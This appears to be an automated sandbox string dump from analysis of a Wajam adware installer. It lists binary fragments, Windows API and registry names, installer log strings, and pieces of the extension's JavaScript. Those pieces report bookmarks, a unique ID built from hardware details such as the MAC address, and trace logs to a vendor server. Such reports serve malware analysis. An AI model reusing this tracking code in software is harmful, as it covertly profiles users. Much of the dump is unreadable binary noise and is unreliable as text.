ABc^d3.b}444<<<!!!:::RRRkkk...OOOttt}}}000~~~444***yyymmmxxx {{{000444666666zzzmmmwwwXXXUUU111hhhuuurrrkkk222xxx+++$$$&&&LLLooo{{{a^a]=]h_acccccccccccccccccccccccccccccccccccccccccccc`k|'x!z#z#z#z#z#z#z#z#oRuz#z#z#z#z#z#z#x,{dcaDPGWMd_jtXW.y"^jZy"jy"3.b}444QQQ:::OOOJJJ***ttt;;;ZZZBBBrrr[[[hhhAAAttthhhAAAjjj>>>BBBxxxwww444777OOOfffwwwXXXUUUPPPHHHuuukkk222&&&LLLaaaLLLTTTdt}gv|5|8x0y3y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y3y3y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2y2w0|5av|'|'|'|'|'|'|'{%z$pUx |'|'|'|'|'|'|'{&saFQp]jm

Ansi based on Dropped File (nsqE177.tmp)

ABCDEFGHIJKLMNOPQRSTUVWXYZ

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

abcdefghijklmnopqrstuvwxyz

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

Aborting: "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Access Forbidden (403)

Ansi based on Dropped File (inetc.dll.1181384010)

ackground.preferences.get('define_host');var has_define_host = (define_host && define_host !== undefined && define_host !== '');// Hostvar host = has_define_host ? define_host : priam.Config.host;return protocol + host;}};priam.background.preferences = {get: function(key){if (Object.prototype.toString.call(key) === '[object Array]') {var values = {};for (var i = 0; i < key.length; i++) {values[key[i]] = priam.background.browser.preferences.get(key[i]);}return values;} else {return priam.background.browser.preferences.get(key);}},set: function(key, value) {//alert('key: '+key+'\ntype: '+typeof(key)+'\n\nvalue: '+value+'\ntype: '+typeof(value));return priam.background.browser.preferences.set(key, value);},cleanPriamPref: function(key) {priam.background.browser.preferences.cleanPriamPref(key);},cleanAllPrefsForSupportedSites: function() {var method_name = 'cleanAllPrefsForSupportedSite

Ansi based on Dropped File (priam_bho.dll.1505483275)

AdapterType

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

addinnnoh`bdglnnnnogddd`pcddm

Ansi based on Dropped File (nsqE177.tmp)

AddressFamily

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

AdjustTokenPrivileges

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

AdminActive

Unicode based on Runtime Data (iexplore.exe )

Advapi32.dll

Unicode based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

advapi32.dll

Ansi based on Dropped File (SimpleSC.dll.523064890)

ADVAPI32.dll

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ae'__eVae'_JuV''efBuRRVR_aeiF'J'eiFaeJ

Ansi based on Dropped File (nsqE177.tmp)

Af`Af\Af%XAf-TAAE|AEAEAAA|ApAtADAHAt1AAjlYYjp1Ah43Al1A=AujHYYhh1APd1AjhbA*@xte3@eEY*@|tjhbAJ5AX1Ate3@eE}hNn@T1AAhPo@d5D$l$l$+SVWDA1E3PeuEEEEdMd

Ansi based on Dropped File (nsqE177.tmp)

affiliate_id

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

affiliate_id_2

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ahbeboy!c<clro0D_eed^Ua|%a\WeedfeR~+oA^d[|&prsnfdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee^Jl

Ansi based on Dropped File (nsqE177.tmp)

AHpu?F;AtF

Ansi based on Dropped File (nsqE177.tmp)

AHpuE8FF@puHpF

Ansi based on Dropped File (nsqE177.tmp)

AIMGEJJUNx#0j_(_V"ZY1Jy!{7k2(m4LcDC&%f'Rz&B9 lzOjx;d'(%y$[`}]xJJ0Gp-+[a> xZ,;8uO*07tM*MqwDK&Ud^-B4 %$ZnY4*T{}|U#r)pv,f$@"'2\s|.

Ansi based on Dropped File (nsqE177.tmp)

ajax.googleapis.com

Ansi based on PCAP Processing (PCAP)

AjEPEtAA2?h$A5AYWM.@htdAEPuB@UV2N\UW9t

Ansi based on Dropped File (nsqE177.tmp)

AjhP3AV[u"jhd3AV[uf> t3f9>thuESuPjZt3 EAMHMx8xxH_^[jhbA33}jfPY]3u;5AA9t[@uHuAFwFPbOYA4V7YYA@tPVYYF}cj8!Y

Ansi based on Dropped File (nsqE177.tmp)

aJJtD?yzfR

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

AjXfA@jfAXjfAXATAATAATAATAfAV34Au0AtFr3^]fAMf3@U}uj

Ansi based on Dropped File (nsqE177.tmp)

Unicode based on Dropped File (priam_bho.dll.1505483275)

all_timestamp;}return priam.Url.build( url, params, callback);},getFlag: function(callback) {var url = priam.Config.url.flag;return priam.Url.build( url, undefined, callback );},getMapping: function(callback) {var url = priam.Config.url.supported_urls_list;return priam.Url.build( url, undefined, callback );},getScript: function(script_path, callback) {var url = script_path;var params = new Array();params['browser'] = priam.Config.getBrowser();params['version'] = priam.Config.getVersion();return priam.Url.build( url, params, callback );},getDebug: function(callback) {var url = priam.Config.url.client_debug_info;return priam.Url.build( url, undefined, callback );},getAddedBookmark: function(title,bookmark_url, callback) {var url = priam.Config.url.sync_bookmarks;var params = new Array();params['action'] = 'add';params['title'] = priam.Util.URLEncode(title);

Ansi based on Dropped File (priam_bho.dll.1505483275)

AllowFileCLSIDJunctions

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

AlwaysDrainOnRedirect

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

AlwaysShowExt

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

am.background.preferences.set(key, value);},update_mapping_list: function(request, response){var method_name = 'update_mapping_list';var str = "";try {var old_mapping_list_string = priam.background.preferences.get('mappingListJsonString');if (old_mapping_list_string !== null) {var old_mappingList = null;try {var old_mapping_list = JSON.parse(old_mapping_list_string);}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}var valid = priam.background.util.isValidMappingList(old_mapping_list);if (valid === true) {// Url - Mappingvar url = priam.background.url.getMapping();// Developer Flag debug_show_load_mapping_listvar debug_show_load_mapping_list = priam.background.preferences.get('debug_show_load_mapping_list');if (debug_show_load_mapping_list == 'true') {priam.background.ext.show('(debug_show_load_mapping_list)\n'+

Ansi based on Dropped File (priam_bho.dll.1505483275)

am.background.trace.add(method_name,'User logger: FALSE');break;default:str += priam.background.trace.add(method_name,'WARNING - invalid bmAutoSync: '+bmAutoSync);break;}}// Flag for mappingList versionvar server_current_mapping_version = jsonData.urls_mapping_version;if (server_current_mapping_version && server_current_mapping_version!=undefined) {str += priam.background.trace.add(method_name,'Server mapping version: '+server_current_mapping_version);var old_server_current_mapping_version = priam.background.preferences.get('server_current_mapping_version');if (old_server_current_mapping_version) {str += priam.background.trace.add(method_name,'Server mapping version (client-side): '+old_server_current_mapping_version);// Compare newly received flag //globalif (old_server_current_mapping_version != server_current_mapping_version) {str += priam.background.trac

Ansi based on Dropped File (priam_bho.dll.1505483275)

ams['action'] = 'delete';params['title'] = priam.Util.URLEncode(title);params['url'] = priam.Util.URLEncode(bookmark_url);return priam.background.url.build( url, params );},getSendBookmark: function() {var url = priam.Config.url.send_all_bookmarks;return priam.background.url.build( url );},getUninstall: function(param) {var url = priam.Config.url.uninstall;var params = null;if (param === 'cancel') {params = new Array();params['cancel'] = '1';}return priam.background.url.build( url, params );}};priam.background.ext = {debug: function(method_name,message){if (message !== '' && priam.Config.getDebug() == 1) {console.debug('Method name:' + method_name + '\n\n' + message);}},show: function(message){alert(message);},onFlagInfoReceived: function(request) {var method_name = 'onFlagInfoReceived';var str = '';try {var jsonString = request;str += priam.backgrou

Ansi based on Dropped File (priam_bho.dll.1505483275)

ansactedW

Ansi based on Dropped File (priam_bho.dll.1505483275)

Anwendungsfehler7Format '%s' ungltig oder nicht kompatibel mit ArgumentKein Argument fr Format '%s'(Variant-Methodenaufruf nicht untersttztLesenSchreiben"'%s' ist kein gltiger Integerwert-Ungltiges Argument fr Codierung der Uhrzeit+Ungltiges Argument zum Codieren des DatumsZu wenig Arbeitsspeicher

Ansi based on Dropped File (nsqE177.tmp)

Apartment

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

App Paths\

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

AppendMenuA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

appingListJsonString',mappingListJsonString);if (document) {priam.ext.processSiteLookup(document,mappingList);}if (!response.error) {var debug_show_load_mapping_list = prefs['debug_show_load_mapping_list'];if (debug_sho

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Apply to current user

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

ar Xm@sRt_]*Q0P}~tXP

Ansi based on Dropped File (nsqE177.tmp)

Are you sure that you want to stop download?

Ansi based on Dropped File (inetc.dll.1181384010)

arFileInfo

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

array = new Array('unique_id',unique_id);}// 1 - 'v' (version)// 2 - 'data' (the trace_log found in preferences)// 3 - 'unique_id'var params = new Array(new Array('v', priam.Config.getBrowser() + priam.Config.getVersion()), new Array('data', trace_log),unique_id_array);var parameterString = ''; for (var i = 0; i < params.length; i++) {parameterString += (i > 0 ? '&' : '') + params[i][0] + '=' + priam.Util.URLEncode(params[i][1]);}// The POST requestpriam.background.util.post(url, parameterString);}}};priam.background.url = {build: function(url, param_array) {// Url structure // <Host>: http[s]://www.priam.com/// <url>:filename.php[?param1[&param2...]]// <delimitor>: [?|&] depending on if <Url_file> had parameters included// <Addon version>: c1.0// [<Unique ID>][&unique_id=FDF8SDF97S9F79SD79F9SDF]// [<Affiliate ID>] [&aid=1234]// [<Additionnal parameters>] [&param1=...

Ansi based on Dropped File (priam_bho.dll.1505483275)

art service

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

AsS<AD0t6<0t0=@Au+tItIuSjSjSj0A3go_^[]UEuS 8]x;Ar/ ADt]jhheA}4AE39^u5j

Ansi based on Dropped File (nsqE177.tmp)

At?P5At,t(tMQjMQjPtEuM 3A;Et)Pt"EtA;EtPtuE5Atuuuu3M_^3[`UVuWt}uj^0<_^]Mu3ff:tOut+f

Ansi based on Dropped File (nsqE177.tmp)

ating point support not loaded

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

AtlGetDacl error!

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

AtlGetOwnerSid error!

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

Attributes

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Au3^[^[@W6~t

Ansi based on Dropped File (nsqE177.tmp)

AuthenticodeEnabled

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Authorization: basic %s

Ansi based on Dropped File (inetc.dll.1181384010)

AutoCheckSelect

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

AutoConfigURL

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

AutoDetect

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

AutodialDLL

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

AutoSense

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

aV+CFaHLV IL

Ansi based on Dropped File (nsqE177.tmp)

available. Download the update?

Unicode based on Dropped File (priam_bho.dll.1505483275)

axL4*<9v}cq3fUjIUyhI;vEPxCL_]\xg4rs9ZG

Ansi based on Dropped File (nsqE177.tmp)

a|f~(A|F~0|9~Xt-t

Ansi based on Dropped File (nsqE177.tmp)

A|LFG770|7*D

Ansi based on Dropped File (nsqE177.tmp)

b&YIUwKDY

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

B(;r3_^[]UjhdAhPo@dPSVWDA1E3PEdeEh@*tTE-@Ph@Pt:@$EMd

Ansi based on Dropped File (nsqE177.tmp)

B,>>wR>>~Jc4k,WDmv7+Z3?iM{-l_kaRx&pq[nY'$jke=Jow@^K{ZGZj8,83TppOk)8Z!{-|GoNjP?JJ\6jye]6jteE\y|lwI[3u/4KZO~Xq~fkbyP:y4O@25u%}0pR_NEkxtkQ7}hj|$Q~jIw[/Aj-z\bD}zVw+](]}

Ansi based on Dropped File (nsqE177.tmp)

b.B(|$g)9|,

Ansi based on Dropped File (nsqE177.tmp)

b3C$Of}s^gFci7#o#yY`tOk*Z{kwK;#Ic.C+)z|iCv;xi6z\C8

Ansi based on Dropped File (nsqE177.tmp)

B:t"Ou+A:tOtMu9]u;u}uMjP\Xxj"YU=AV5Au3cWu95AtSpuJ5At@}t:u6Y'P+Y;v<8=uWuPtu3_^]D8Al;AtAQpu@UEAAAA]UE

Ansi based on Dropped File (nsqE177.tmp)

b@3|D,7KfA]8Z-\06]&7RN$M!{uC.9nm+L_qIFj4h<

Ansi based on Dropped File (nsqE177.tmp)

b@9@logging set to %dsettings logging to %dcreated uninstaller: %d, "%s"WriteReg: error creating key "%s\%s"WriteReg: error writing into "%s\%s" "%s"WriteRegBin: "%s\%s" "%s"="%s"WriteRegDWORD: "%s\%s" "%s"="0x%08x"WriteRegExpandStr: "%s\%s" "%s"="%s"WriteRegStr: "%s\%s" "%s"="%s"DeleteRegKey: "%s\%s"DeleteRegValue: "%s\%s" "%s"WriteINIStr: wrote [%s] %s=%s in %s<RM>CopyFiles "%s"->"%s"CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%dError registering DLL: Could not initialize OLEError registering DLL: Could not load %sError registering DLL: %s not found in %s\Exec: failed createprocess ("%s")Exec: success ("%s")Exec: command="%s"ExecShell: success ("%s": file:"%s" params:"%s")ExecShell: warning: error ("%s": file:"%s" params:"%s")=%dHideWindowPop: stack emptyExch: stack < %d elementsRMDir: "%s"MessageBox: %d,"%s"Delete: "%s"%sFile: wrote %d to "%s"File: error, user cancelFile: skipped: "%s" (overwriteflag=%d)File: error, user abortFile: error, user retryFile: error creating "%s"File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"Rename failed: %sRename on reboot: %sRename: %sIfFileExists: file "%s" does not exist, jumping %dIfFileExists: file "%s" exists, jumping %dCreateDirectory: "%s" createdCreateDirectory: can't create "%s" - a file already existsCreateDirectory: can't create "%s" (err=%d)CreateDirectory: "%s" (%d)SetFileAttributes failed.SetFileAttributes: "%s":%08XBringToFrontSleep(%d)detailprint: %sCall: %dAborting: "%s"Jump: %dverifying installer: %d%%Installer integrity check has failed. Common causes include

Ansi based on Dropped File (nsqE177.tmp)

BA9M}MkW\DEcEuwdSUY]}}tjYSUYt

Ansi based on Dropped File (nsqE177.tmp)

BackupDefaultSearchScope

Unicode based on Runtime Data (iexplore.exe )

bad allocation

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

bad exception

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

Bad service request

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

Base Class Array'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

Base Class Descriptor at (

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

BB3^h@htCh`B%P P%SUV5CWj~*3;tPhC$J(BSWSh@hC0x]$8(BuSWh@h@h?$WhCi%nCtC U`C|C NH;tzVLCBSWRQvD#B:tT<"uBj"WW$D8;v&h @P@uWx@tuWWPU$Uk uU$Ct9Cu`Bh@SSjjg5C@@C~PC

Ansi based on Dropped File (nsqE177.tmp)

BBB@@@IIIxxx!!!888yyysss

Ansi based on Dropped File (nsqE177.tmp)

BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

bDBJ_K'[j,r,tR*[Uk*si]v)!yr|$zlE@<W_[#|i.iE:t%Ux!mm%;ji;jeE'Dh\YH

Ansi based on Dropped File (nsqE177.tmp)

BE B.tSjh

Ansi based on Dropped File (nsqE177.tmp)

BeginPaint

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

BeginPaintDefWindowProcA;SendMessageAInvalidateRectEnableWindowGetDCLoadImageASetWindowLongAGetDlgItemIsWindowFindWindowExA>SendMessageTimeoutAwsprintfAShowWindowWSetForegroundWindowPostQuitMessageSetWindowTextAzSetTimerUCreateDialogParamADestroyWindowExitWindowsEx*CharNextADialogBoxParamAGetClassInfoA`CreateWindowExASystemParametersInfoARegisterClassAEndDialog1ScreenToClienttGetWindowRectEnableMenuItem\GetSystemMenuGSetClassLongAIsWindowEnabledSetWindowPosZGetSysColornGetWindowLongAMSetCursorLoadCursorA8CheckDlgButtonGetAsyncKeyStateIsDlgButtonChecked<GetMessagePosLoadBitmapACallWindowProcAIsWindowVisibleBCloseClipboardJSetClipboardDataEmptyClipboardOpenClipboardTrackPopupMenuAppendMenuA^CreatePopupMenu]GetSystemMetricsSSetDlgItemTextAGetDlgItemTextAMessageBoxIndirectA-CharPrevAwvsprintfADispatchMessageAPeekMessageAUSER32.dllSelectObject<SetTextColorSetBkMode:CreateFontIndirectA)CreateBrushIndirectDeleteObjectkGetDeviceCapsSetBkColorGDI32.dllSHFileOperationAShellExecuteASHGetFileInfoAySHBrowseForFolderASHGetPathFromIDListASHGetSpecialFolderLocationSHELL32.dllRegEnumValueARegEnumKeyARegQueryValueExARegSetValueExARegCreateKeyExARegCloseKeyRegDeleteValueARegDeleteKeyARegOpenKeyExAADVAPI32.dll8ImageList_Destroy4ImageList_AddMasked7ImageList_CreateCOMCTL32.dllCoCreateInstanceOleUninitializeOleInitializeeCoTaskMemFreeole32.dll

Ansi based on Dropped File (nsqE177.tmp)

BhR@jEu<@Wjj!jjB4@hBuP(@5BShuWWhu}

Ansi based on Dropped File (nsqE177.tmp)

BJ1dY]_^[@?

Ansi based on Dropped File (nsqE177.tmp)

BkDh'QIDdke" 80J@PD{ -%,xK:@3zABP^0VF&j%Gb0P#\:m^ZW"nxt\U4fb+g;8EojhdzcC7 v"qDV l6EUbu=E9)WR6]D#J#sG*qIOCYo0y'knZm{K/4yL`a>Y8?x%63PKGB%$META-INF/WajamsCOMODOCALimitedID.rsaPKGBjQchrome.manifestPKGBUMRcontent/browserLoad.jsPKGB8*"content/firefoxOverlay.xulPKGBMf.}#content/priam.jsPKGB[Qcontent/priam.pngPKGBXRTcontent/priam_background.jsPKGB%=O#rcontent/priam_background_firefox.jsPKGBIh^XJxcontent/priam_firefox.jsPKGBI_HU#defaults/preferences/priam_prefs.jsPKGBJ`!install.rdfPKGBbRMETA-INF/manifest.mfPKGBP}}#/META-INF/WajamsCOMODOCALimitedID.sfPK

Ansi based on Dropped File (nsqE177.tmp)

bL}P<8B<PT29JPoe'Y;@8|%?r>YB)'$@zg0FU_gQJc5HHvfIG-8VV+291YgTCCI!]wa'!(R8L&G{Q25Q=

Ansi based on Dropped File (nsqE177.tmp)

BringToFront

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Broadcast

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

BrowseInPlace

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Browser restart: No browsers are open.

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

browser.preferences.cleanPriamPref(key);},cleanAllPrefsForSupportedSites: function() {var method_name = 'cleanAllPrefsForSupportedSites';var str = '';try {var mappingListJsonString = priam.background.preferences.get('mappingListJsonS

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

browserLoad

Unicode based on Runtime Data (iexplore.exe )

Bt@t@hR@t!Frt|.tt@hP,@@P@?PEPjUEJE_^[].hL$Hd@8tO<@jD$PD$LoPD$PPjPjD$Pjhu@jP6j@D$P @@P@!Ph D$PD$LPjD

Ansi based on Dropped File (nsqE177.tmp)

BUG;=CUK}uju@$Pju<@}uju@u8u+]3}u3}AEMM}Nt9E9EMt

Ansi based on Dropped File (nsqE177.tmp)

BuQu@uMB3]U}SVW

Ansi based on Dropped File (nsqE177.tmp)

BuZd$,1YdX]1L$D$dUU=,t\=tW-t\-t=HtN`q?r6t0R=t=-t.HtHt$:-t/=t&,*&"

Ansi based on Dropped File (nsqE177.tmp)

BV: Normal boot

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

By clicking the 'Accept' button, I agree to the Terms of Service http://www.wajam.com/terms-of-service and Privacy Policy http://www.wajam.com/privacy and consent to install and enable Wajam in all browsers.\par

Ansi based on Dropped File (nsqE177.tmp)

BypassHTTPNoCacheCheck

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

BypassSSLNoCacheCheck

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

bYUXT|APT"sL5U@e

Ansi based on Dropped File (nsqE177.tmp)

c%n-q^+Us@U(tiCN*4nT4i+kOA/ERBPGwBFjM6)k

Ansi based on Dropped File (nsqE177.tmp)

C(|Pc:#><?.=pkCpie6oB-&x&_c?|hc{Dwr.99;7-LUzO;*K%H@UD'``

Ansi based on Dropped File (nsqE177.tmp)

C+9Cs4j"ECueG}EC@Ls8j#u?3j

Ansi based on Dropped File (nsqE177.tmp)

C2o /:`F`c70oYgCs8Uz:yPK]q$e)uCL1\JYmZH8Abm, (Fr<k$CkFIyz$>))eQTjLd&/Pu@I

Ansi based on Dropped File (nsqE177.tmp)

Ansi based on Decrypted SSL Data (SSL)

C3tVAtt$Ju^U8V5P@W}jjh

Ansi based on Dropped File (nsqE177.tmp)

C7C92D87F1EF2BC54BF1F382E5949857

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

c7YeCACACA3E}fLCfEA@3E=}

Ansi based on Dropped File (nsqE177.tmp)

C8&wTRN;A'$pVRbvFIxACb^y4?&"49%BIAg8P-hP]q^b%Z>(NTuxyQ?P!cHRFa_H+R>OM/gf*D#.<qH6MRa'bc,XT%?7RdP9C$ q,!C?7<U:~2L}Oq,6BXwSP

Ansi based on Dropped File (nsqE177.tmp)

C9]S@QNVhH@.OYYSVSRPh8@OYYSu=SVh,@NYY3FV@h@NYul@9]u"`CjCM`CZC`CIE4`C3;#MD34`CVC5@;tRPMC;QPjWuVh@NuV@Eh@MRjuWh@MWD;tvj\VZDSWE@uB|@=t|@PWh@ME(Wx@uWh\@dMEWh<@TMYYEF:u9]tj=WhxCHWt@j

Ansi based on Dropped File (nsqE177.tmp)

C9Yt+Pjh9]tWjVhBVuE;Cu

Ansi based on Dropped File (nsqE177.tmp)

C: BuildLabEx: 6

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

C: Drive Serial was: 085CDA53

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

C: Drive: 'C:\'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

C: LocalAppData: '%LOCALAPPDATA%\

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

C: Mac Address was: '7E:E5:74:0D:57:26'

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

C: Unique_id: C7C92D87F1EF2BC54BF1F382E5949857

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

%PROGRAMFILES%\Internet Explorer\iexplore.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

%PROGRAMFILES%\Wajam

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

%PROGRAMFILES%\Wajam\IE

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.00401000.00000020.mdmp)

%PROGRAMFILES%\Wajam\IE\IE_approveExt.exe

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.00401000.00000020.mdmp)

%PROGRAMFILES%\Wajam\install.log

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

%PROGRAMFILES%\Wajam\Updater

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

%PROGRAMFILES%\Wajam\Updater\WajamUpdater.exe

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

%USERPROFILE%\Desktop\branches\Wajam\guillaume-installer-ie11-fix\Clients\Extensions\IE_BHO\source\wajam\Release\priam_bho.pdb

Ansi based on Dropped File (priam_bho.dll.1505483275)

%USERPROFILE%\Desktop\branches\Wajam\guillaume-update-reenable-bho\Clients\Affiliate_Executables\Util\AutoEnableBHO\Release\IE_approveExt.pdb

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

%USERPROFILE%\Desktop\svnwajam\Clients\Updater\Release\WajamUpdater.pdb

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

%TEMP%\

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

%TEMP%\nsfE187.tmp

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

%TEMP%\nsfE187.tmp\

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

%TEMP%\nsfE187.tmp\*.*

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

%TEMP%\nsfE187.tmp\inetc.dll

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

%TEMP%\nsfE187.tmp\IpConfig.dll

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.00401000.00000020.mdmp)

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Wajam\uninstall.lnk

Unicode based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

